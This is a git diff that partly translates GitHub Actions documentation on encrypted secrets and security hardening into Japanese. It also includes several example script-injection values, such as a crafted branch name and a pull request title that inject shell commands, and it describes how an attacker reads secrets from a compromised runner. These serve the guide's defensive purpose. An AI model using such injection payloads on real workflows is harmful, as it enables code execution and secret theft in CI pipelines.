 {% data reusables.github-actions.sidebar-secret %}
-1. The list of secrets includes any configured permissions and policies. For example:
-![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
-1. For more details on the configured permissions for each secret, click **Update**.
+1. シークレットのリストには、設定済みのアクセス許可とポリシーが含まれます。 例: ![シークレットリスト](/assets/images/help/settings/actions-org-secrets-list.png)
+1. 各シークレットに設定されているアクセス許可の詳細については、[**Update（更新）**] をクリックしてください。
 
-## Using encrypted secrets in a workflow
+## 暗号化されたシークレットのワークフロー内での利用
 
 {% note %}
 
-**Note:** {% data reusables.actions.forked-secrets %}
+**注釈:** {% data reusables.actions.forked-secrets %}
 
 {% endnote %}
 
-To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+アクションに入力あるいは環境変数としてシークレットを提供するには、リポジトリ内に作成したシークレットにアクセスする`secrets`コンテキストを使うことができます。 For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
 
 {% raw %}
 ```yaml
@@ -245,11 +238,11 @@ steps:
 ```
 {% endraw %}
 
-Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
+可能であれば、コマンドラインからプロセス間でシークレットを渡すのは避けてください。 コマンドラインプロセスは他のユーザから見えるかもしれず（`ps`コマンドを使って）、あるいは[セキュリティ監査イベント](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing)でキャプチャされるかもしれません。 シークレットの保護のために、環境変数、`STDIN`、あるいはターゲットのプロセスがサポートしている他の仕組みの利用を考慮してください。
 
-If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
+コマンドラインからシークレットを渡さなければならない場合は、それらを適切なルールでクオート内に収めてください。 シークレットは、意図せずシェルに影響するかもしれない特殊なキャラクターをしばしば含みます。 それらの特殊なキャラクターをエスケープするには、環境変数をクオートで囲ってください。 例:
 
-### Example using Bash
+### Bashの利用例
 
 {% raw %}
 ```yaml
@@ -262,7 +255,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using PowerShell
+### PowerShellの利用例
 
 {% raw %}
 ```yaml
@@ -275,7 +268,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using Cmd.exe
+### Cmd.exeの利用例
 
 {% raw %}
 ```yaml
@@ -288,7 +281,7 @@ steps:
 ```
 {% endraw %}
 
-## Limits for secrets
+## シークレットの制限
 
 You can store up to 1,000 organization secrets{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 repository secrets, and 100 environment secrets{% else %} and 100 repository secrets{% endif %}.
 
@@ -298,40 +291,40 @@ A workflow created in a repository can access the following number of secrets:
 * If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}* All 100 environment secrets.{% endif %}
 
-Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB, you can store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt your credentials locally before checking the file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
+シークレットの容量は最大64 KBです。 64 KBより大きなシークレットを使うには、暗号化されたシークレットをリポジトリ内に保存して、復号化パスフレーズを{% data variables.product.prodname_dotcom %}に保存します。 たとえば、{% data variables.product.prodname_dotcom %}のリポジトリにファイルをチェックインする前に、`gpg`を使って認証情報をローカルで暗号化します。 詳しい情報については、「[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)」を参照してください。
 
 {% warning %}
 
-**Warning**: Be careful that your secrets do not get printed when your action runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
+**警告**: アクションを実行する際、シークレットが出力されないよう注意してください。 この回避策を用いる場合、{% data variables.product.prodname_dotcom %}はログに出力されたシークレットを削除しません。
 
 {% endwarning %}
 
-1. Run the following command from your terminal to encrypt the `my_secret.json` file using `gpg` and the AES256 cipher algorithm.
+1. ターミナルから以下のコマンドを実行して、`gpg`およびAES256暗号アルゴリズムを使用して`my_secret.json`ファイルを暗号化します。
 
  ``` shell
  $ gpg --symmetric --cipher-algo AES256 my_secret.json
  ```
 
-1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
+1. パスフレーズを入力するよう求められます。 このパスフレーズを覚えておいてください。{% data variables.product.prodname_dotcom %}で、このパスフレーズを値として用いる新しいシークレットを作成するために必要になります。
 
-1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you selected in the step above.
+1. パスフレーズを含む新しいシークレットを作成します。 たとえば、`LARGE_SECRET_PASSPHRASE`という名前で新しいシークレットを作成し、シークレットの値を上記のステップで選択したパスフレーズに設定します。
 
-1. Copy your encrypted file into your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
+1. 暗号化したファイルをリポジトリ内にコピーしてコミットします。 この例では、暗号化したファイルは`my_secret.json.gpg`です。
 
-1. Create a shell script to decrypt the password. Save this file as `decrypt_secret.sh`.
+1. パスワードを復号化するシェルスクリプトを作成します。 このファイルを`decrypt_secret.sh`として保存します。
 
   ``` shell
   #!/bin/sh
 
-  # Decrypt the file
+  # ファイルを復号化
   mkdir $HOME/secrets
-  # --batch to prevent interactive command
-  # --yes to assume "yes" for questions
+  # --batchでインタラクティブなコマンドを防ぎ、
+  # --yes で質問に対して "はい" が返るようにする
   gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \
   --output $HOME/secrets/my_secret.json my_secret.json.gpg
   ```
 
-1. Ensure your shell script is executable before checking it in to your repository.
+1. リポジトリにチェックインする前に、シェルスクリプトが実行可能であることを確かめてください。
 
   ``` shell
   $ chmod +x decrypt_secret.sh
@@ -340,7 +333,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   $ git push
   ```
 
-1. From your workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
+1. ワークフローから、`step`を使用してシェルスクリプトを呼び出し、シークレットを復号化します。 ワークフローを実行している環境にリポジトリのコピーを作成するには、[`actions/checkout`](https://github.com/actions/checkout)アクションを使用する必要があります。 リポジトリのルートを基準として`run`コマンドを使用し、シェルスクリプトを参照します。
 
 {% raw %}
   ```yaml
@@ -358,9 +351,9 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
           run: ./.github/scripts/decrypt_secret.sh
           env:
             LARGE_SECRET_PASSPHRASE: ${{ secrets.LARGE_SECRET_PASSPHRASE }}
-        # This command is just an example to show your secret being printed
-        # Ensure you remove any print statements of your secrets. GitHub does
-        # not hide secrets that use this workaround.
+        # このコマンドは、あなたの秘密が印刷されていることを示す例
+        # シークレットを出力する文は必ず削除してください。 GitHubは
+        # この回避先を使うシークレットは隠蔽しません。
         - name: Test printing your secret (Remove this step in production)
           run: cat $HOME/secrets/my_secret.json
   ```
diff --git a/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md
index 8b80be9c37..e649582ef8 100644
--- a/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md
+++ b/translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Security hardening for GitHub Actions
-shortTitle: Security hardening
-intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
+title: GitHub Actions のセキュリティ強化
+shortTitle: セキュリティ強化
+intro: '{% data variables.product.prodname_actions %} の機能を使用するための適切なセキュリティプラクティス。'
 redirect_from:
   - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
   - /actions/learn-github-actions/security-hardening-for-github-actions
@@ -19,49 +19,49 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概要
 
-This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+このガイドでは、特定の {% data variables.product.prodname_actions %} の機能のセキュリティ強化を設定する方法について説明します。 {% data variables.product.prodname_actions %} の概念について理解を深めるには、「[GitHub Actions の中核的概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)」を参照してください。
 
-## Using secrets
+## シークレットを使用する
 
-Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}.
+機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 [シークレット](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)は、Organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、リポジトリ、あるいは環境{% else %}あるいはリポジトリ{% endif %}のレベルで設定でき、機密情報を{% data variables.product.product_name %}に保存できるようになります。
 
-Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
+シークレットは [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) を使用するため、{% data variables.product.product_name %} に到達する前に暗号化されます。 これは、[UI を使用](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository)して、または [REST API](/rest/reference/actions#secrets) を介してシークレットが送信されたときに発生します。 このクライアント側の暗号化により、{% data variables.product.product_name %} のインフラストラクチャ内での偶発的なログ（例外ログやリクエストログなど）に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、{% data variables.product.product_name %} はそれを復号化して、ワークフローランタイムに挿入できるようになります。
 
-To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
+偶発的な開示を防ぐために、{% data variables.product.product_name %} は、実行ログに表示されるシークレットを編集しようとするメカニズムを使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。
 
-- **Never use structured data as a secret**
-    - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
-- **Register all secrets used within workflows**
-    - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
-    - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
-- **Audit how secrets are handled**
-    - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
-    - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
-- **Use credentials that are minimally scoped**
-    - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-    - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %}
-- **Audit and rotate registered secrets**
-    - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
-    - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
+- **構造化データをシークレットとして使用しない**
+    - 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML（または同様）の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
+- **ワークフロー内で使用されるすべてのシークレットを登録する**
+    - シークレットを使用してワークフロー内で別の機密値を生成する場合は、生成された値を正式に[シークレットとして登録](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)して、ログに表示されたときに編集されるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。
+    - シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合（Base64 や URL エンコードなど）、新しい値もシークレットとして登録してください。
+- **シークレットの処理方法を監査する**
+    - シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
+    - 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを `STDOUT` および `STDERR` に送信するかは必ずしも明らかではなく、シークレットはその後エラーログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
+- **スコープが最小限の認証情報を使用する**
+    - ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してください。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    - Actions は、`github.token` コンテキストからアクセスすることで `GITHUB_TOKEN` を使用できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#github-context)」を参照してください。 したがって、`GITHUB_TOKEN` に最低限必要な権限が付与されていることを確認する必要があります。 リポジトリのコンテンツに対してのみ読み取りアクセスを行うように `GITHUB_TOKEN` のデフォルトのアクセス許可を設定することをお勧めします。 その後、必要に応じて、ワークフローファイル内の個々のジョブの権限を増やすことができます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。 {% endif %}
+- **登録されたシークレットの監査とローテーション**
+    - 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。
+    - シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- **Consider requiring review for access to secrets**
-    - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+- **シークレットへのアクセスのレビューを必須とすることを検討する**
+    - 必須のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
 {% endif %}
 
 ## Using `CODEOWNERS` to monitor changes
 
 You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
 
-For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。
 
 ## Understanding the risk of script injections
 
 When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
 
- Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`. 
- 
+ Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`.  For example: `github.event.issue.title`, or `github.event.pull_request.body`.
+
  You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
 
 In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository.
@@ -87,7 +87,7 @@ A script injection attack can occur directly within a workflow's inline script.
 ```
 {% endraw %}
 
-This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. 
+This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.
 
 To inject commands into this workflow, the attacker could create a pull request with a title of  `a"; ls $GITHUB_WORKSPACE"`:
 
@@ -143,7 +143,7 @@ With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{
 
 ### Using CodeQL to analyze your code
 
-To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)."
+To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. 詳しい情報については、「[コードスキャニングについて](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)」を参照してください。
 
 The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed).
 
@@ -162,47 +162,47 @@ To help mitigate the risk of an exposed token, consider restricting the assigned
 
 {% endif %}
 
-## Using third-party actions
+## サードパーティアクションを使用する
 
-The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them.
+ワークフロー内の個々のジョブは、他のジョブと相互作用（および侵害）する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。
 
-This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
+これは、ワークフロー内の 1 つのアクションへの侵害が非常に重要になる可能性があるということです。その侵害されたアクションがリポジトリに設定されたすべてのシークレットにアクセスし、`GITHUB_TOKEN` を使用してリポジトリに書き込むことができるためです。 したがって、{% data variables.product.prodname_dotcom %} のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)."
 
-You can help mitigate this risk by following these good practices:
+次のような適切な方法に従うことで、このリスクを軽減することができます。
 
-* **Pin actions to a full length commit SHA**
+* **アクションを完全なコミット SHA にピン止めする**
 
-  Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload.
+  現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。
 
   {% ifversion ghes < 3.1 %}
   {% warning %}
 
-  **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail.
+  **警告:** コミット SHA の短いバージョンは安全ではないため、アクションの Git リファレンスの指定には使用しないでください。 リポジトリネットワークの仕組みにより、どのユーザもリポジトリをフォークし、短い SHA と衝突するよう細工されたコミットをプッシュできます。 これにより、その SHA の後続のクローンがあいまいなコミットになるため失敗します。 その結果、短縮された SHA を使用するワークフローはすぐに失敗します。
 
   {% endwarning %}
   {% endif %}
 
-* **Audit the source code of the action**
+* **アクションのソースコードを監査する**
 
-  Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged.
+  アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。
 
-* **Pin actions to a tag only if you trust the creator**
+* **作成者を信頼できる場合に限り、アクションをタグにピン止めする**
 
-  Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action.
+  コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 {% data variables.product.prodname_marketplace %} の「Verified creator」バッジは便利な判断材料で、 {% data variables.product.prodname_dotcom %} で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## Reusing third-party workflows
 
-The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." 
+The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
 {% endif %}
 
 ## Potential impact of a compromised runner
 
-These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. 
+These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner.
 
 ### Accessing secrets
 
-Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). 
+Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
 
 - If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`.
 - If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.
@@ -230,56 +230,56 @@ It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data vari
 
 The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token).
 
-## Considering cross-repository access
+## リポジトリ間のアクセスを検討する
 
-{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators.
+{% data variables.product.prodname_actions %} は、意図的に一度に単一のリポジトリに対してスコープされます。 The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. ユーザはリポジトリごとに特定の権限を持っているため、1 つのリポジトリの `GITHUB_TOKEN` に別のリポジトリへのアクセスを許可すると、慎重に実装しない場合 {% data variables.product.prodname_dotcom %} 権限モデルに影響します。 同様に、{% data variables.product.prodname_dotcom %} 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、{% data variables.product.prodname_dotcom %} アクセス許可モデルにも影響を与える可能性があるためです。
 
-We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.
